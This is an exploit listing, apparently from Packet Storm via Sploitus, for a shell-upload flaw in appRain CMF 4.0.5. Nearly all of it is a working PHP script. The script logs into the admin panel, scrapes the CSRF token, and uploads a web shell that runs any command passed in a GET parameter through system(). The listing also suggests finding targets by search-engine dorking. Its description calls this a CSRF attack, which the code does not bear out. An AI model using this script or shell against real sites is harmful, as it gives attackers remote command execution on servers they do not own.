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## https://sploitus.com/exploit?id=PACKETSTORM:189763
=============================================================================================================================================
    | # Title     : appRain CMF 4.0.5 shell upload Vulnerability                                                                                |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits)                                                            |
    | # Vendor    : https://github.com/apprain/apprain/archive/refs/tags/v4.0.5.zip                                                             |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking ฤฐn Google Or Other Search Enggine.
    
    [+] Code Description: The script performs an attack on a website's control panel by exploiting CSRF vulnerabilities and uploading a shell via the website's administrative interface.
    
       (Related : https://packetstorm.news/files/id/178895/ Related CVE numbers:  ) .
    	
    [+] save code as poc.php.
    
    [+] Usage: php exploit.php sitename.com username password
    
    [+] PayLoad :
    
    <?php
    if ($argc < 4) {
        echo "Usage: php script.php <url> <username> <password>\n";
        exit(1);
    }
    
    $base_url = $argv[1];
    $username = $argv[2];
    $password = $argv[3];
    
    $session = curl_init();
    
    $login_url = $base_url . '/admin/index.php?id=dashboard';
    $login_data = [
        'login' => $username,
        'password' => $password,
        'login_submit' => 'Log+In'
    ];
    
    $filename = substr(str_shuffle('abcdefghijklmnopqrstuvwxyz0123456789'), 0, 5);
    
    echo "Logging in...\n";
    curl_setopt($session, CURLOPT_URL, $login_url);
    curl_setopt($session, CURLOPT_POST, true);
    curl_setopt($session, CURLOPT_POSTFIELDS, http_build_query($login_data));
    curl_setopt($session, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($session);
    
    if (strpos($response, 'Dashboard') !== false) {
        echo "Login successful\n";
    } else {
        echo "Login failed\n";
        exit();
    }
    
    sleep(3);
    
    $edit_url = $base_url . '/admin/index.php?id=themes&action=add_chunk';
    curl_setopt($session, CURLOPT_URL, $edit_url);
    $response = curl_exec($session);
    
    preg_match('/input type="hidden" id="csrf" name="csrf" value="(.*?)"/', $response, $matches);
    if ($matches) {
        $token = $matches[1];
    } else {
        echo "CSRF token could not be found.\n";
        exit();
    }
    
    $content = '
    <html>
    <body>
    <form method="GET" name="<?php echo basename($_SERVER[\'PHP_SELF\']); ?>">
    <input type="TEXT" name="cmd" autofocus id="cmd" size="80">
    <input type="SUBMIT" value="Execute">
    </form>
    <pre>
    <?php
    if(isset($_GET[\'cmd\']))
    {
        system($_GET[\'cmd\']);
    }
    ?>
    </pre>
    </body>
    </html>
    ';
    
    $edit_data = [
        'csrf' => $token,
        'name' => $filename,
        'content' => $content,
        'add_file' => 'Save'
    ];
    
    echo "Preparing shell...\n";
    curl_setopt($session, CURLOPT_URL, $edit_url);
    curl_setopt($session, CURLOPT_POSTFIELDS, http_build_query($edit_data));
    $response = curl_exec($session);
    sleep(3);
    
    if (curl_getinfo($session, CURLINFO_HTTP_CODE) == 200) {
        echo "Your shell is ready: " . $base_url . "/public/themes/default/{$filename}.chunk.php\n";
    } else {
        echo "Failed to prepare shell.\n";
    }
    ?>
    
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================